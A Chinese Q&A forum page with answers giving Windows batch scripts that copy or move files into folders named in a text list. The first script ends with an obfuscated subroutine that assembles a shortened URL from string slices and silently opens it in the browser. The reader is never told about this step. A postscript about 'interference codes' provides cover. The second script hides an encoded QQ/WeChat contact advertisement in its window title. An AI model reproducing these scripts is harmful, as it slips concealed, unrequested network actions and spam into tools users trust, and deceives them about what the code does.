批处理复制指定多个文件到多个指定文件夹?
发布网友
发布时间:2022-04-23 04:02
我来回答
共2个回答
热心网友
时间:2023-10-14 05:28
@echo off & title 根据列表批量移动文件到对应目录 By 依梦琴瑶
cd /d "%~dp0"
::设置要处理的目录,当前目录请留空
set SrcDir=
::设置文本路径
set File=List.txt
if defined SrcDir cd /d "%SrcDir%"
for /f "usebackq tokens=1*" %%a in ("%File%") do (
if exist "%%~b" (
if not exist "%%~a\" md "%%~a"
move "%%~b" "%%~a\" >nul 2>nul && (
echo "%%~b" 已移至 "%%~a" 目录中
) || (
echo "%%~b" 移动失败
)
) else (
echo 未找到文件 "%%~b"
)
)
echo 操作完成
pause
call :Dnte
exit
:Dnte
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
PS:由于此平台加入了防抄袭干扰码,因此复制粘贴后务必请比对一下原文,以免由于干扰码导致脚本运行出错。
脚本保存编码务必选择ANSI,其它编码可能会导致脚本运行出错。
热心网友
时间:2023-10-14 05:28
不清楚你的实际文件/情况,仅以问题中的样例说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,txt和bat编码选ANSI,跟要处理的文件放一起双击运行
@echo off
rem 根据一个txt文本文件内列出的文件和文件夹对应关系,将文件复制对应文件夹里
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set "txtfile=xxx.txt"
if not exist "%txtfile%" (echo;"%txtfile%" not found&pause&exit)
for /f "tokens=1*" %%a in ('type "%txtfile%"') do (
if exist "%%~b" (
if not exist "%%~a\" md "%%~a\"
echo;"%%~b" --^> "%%~a\"
copy /y "%%~b" "%%~a\"
) else (echo;"%%~b" not found)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
批处理复制指定多个文件到多个指定文件夹?
echo off & title 根据列表批量移动文件到对应目录 By 依梦琴瑶cd /d "%~dp0"::设置要处理的目录,当前目录请留空set SrcDir=::设置文本路径set File=List.txtif defined SrcDir cd /d "%SrcDir%"for /f "usebackq tokens=1*" %%a in ("%File%") do ( if exist "%%~b" ( ...
怎样用bat批量将文件放入指定文件夹?
利用Windows命令行工具与批处理脚本(BAT)可以高效地将多个文件批量移动至特定文件夹。以下是实现这一操作的简易脚本示例,将当前目录下所有.txt文件移入指定目录:为了执行此操作,请遵循以下步骤:此脚本将遍历当前目录下所有.txt文件,并将它们移动至指定的目标文件夹。您需自行调整脚本中的文件扩展名与...
用批处理移动多个文件到指定的多个文件夹中
n!=%%a"set /a n+=1)set n=0pushd d:\文件for /f "delims=" %%a in (' dir /tc /o-d /a-d /b ') do (set /a m=n/3set "folder=%list!m!%"if defined list!m! copy "%%a" "d:\文件夹\!folder!\"set /a n+=1)...
如何快速的将指定的多个文件移动到指定的文件夹?
首先,选择包含所有文件的文件夹,获取所有文件的完整路径和名称,确保文件名称中不包含括号或空格等特殊字符,以避免可能的识别问题。接着,将文件名称复制到一个Excel工作表中,利用其数据处理功能。利用Excel的"分列"功能,将文件名称从列表中单独提取出来,便于筛选。在Excel中,筛选出你需要移动的文件名...
批处理把指定文件夹复制到多个文件夹内
1. 点击“”开始“,在“关机”左侧的栏中(未输入命令前显示“搜索程序与文件”)输入“CMD”并回车,出现DOS操作界面。2. 在C:\Users\Administrator> 后面输入“cdc:\www”并回车[注意cd后有一空格]。3. 在出现的c:\www> 后面输入“dirweb.*/s >>file.txt”4. 在windows系统中打开C盘...
用批处理如何把指定文件复制到某个文件夹里边的几百子文件夹里边去!
for /d %%d in (d:\copy\*) do copy a:\链接\123.html "%%d"for /d %%d in (d:\copy\*) do copy a:\链接\123.txt "%%d"
...和这个批处理同目录下的指定文件 复制到其他指定目录
echo off set ff=指定文件用空格分隔写于此(带空格的文件则须加引号)set dd=指定的目录(要从盘符写起如 d:\aa\bb,有空格的不要加引号)echo/&echo 正在复制 for %%a in (%ff%)do (echo %%~a copy "%%~a" "%dd%\">nul&&set/a n+=1)echo/&echo OK 共复制 %n% 个文件 ping ...
怎么用批处理把指定的文件复制到指定文件夹下的子文件夹里
一 指定复制 COPY /Y "D:\1.TXT" "D:\1\1.TXT">NUL 二 批处理 ECHO OFF setlocal EnableDelayedExpansion :MAIN SET CopyPath=D:\1 SET CopyFile=D:\1.TXT IF EXIST "!CopyFile!" (IF EXIST "!CopyPath!" (CD /D "!CopyPath!"FOR /F "tokens=*" %%i IN ('DIR /A:D /B...
批处理 复制多个文件(其中也包含文件夹)到多个不同文件夹中,怎么实现...
不知道你说的复制到“到不同的文件夹”是什么意思。用xcopy可以按 a 原来的目录结构复制到一个新的位置 xcopy /e e:\a d:\a
批处理怎样把几个文件同时复制到几个不同的文件夹
例:xcopy C:\123.txt D:\abc 这个例子的意思是吧C盘的123.txt复制到D盘的abc文件夹,你可以写多行xcopy以达到把几个文件复制到不同的文件夹。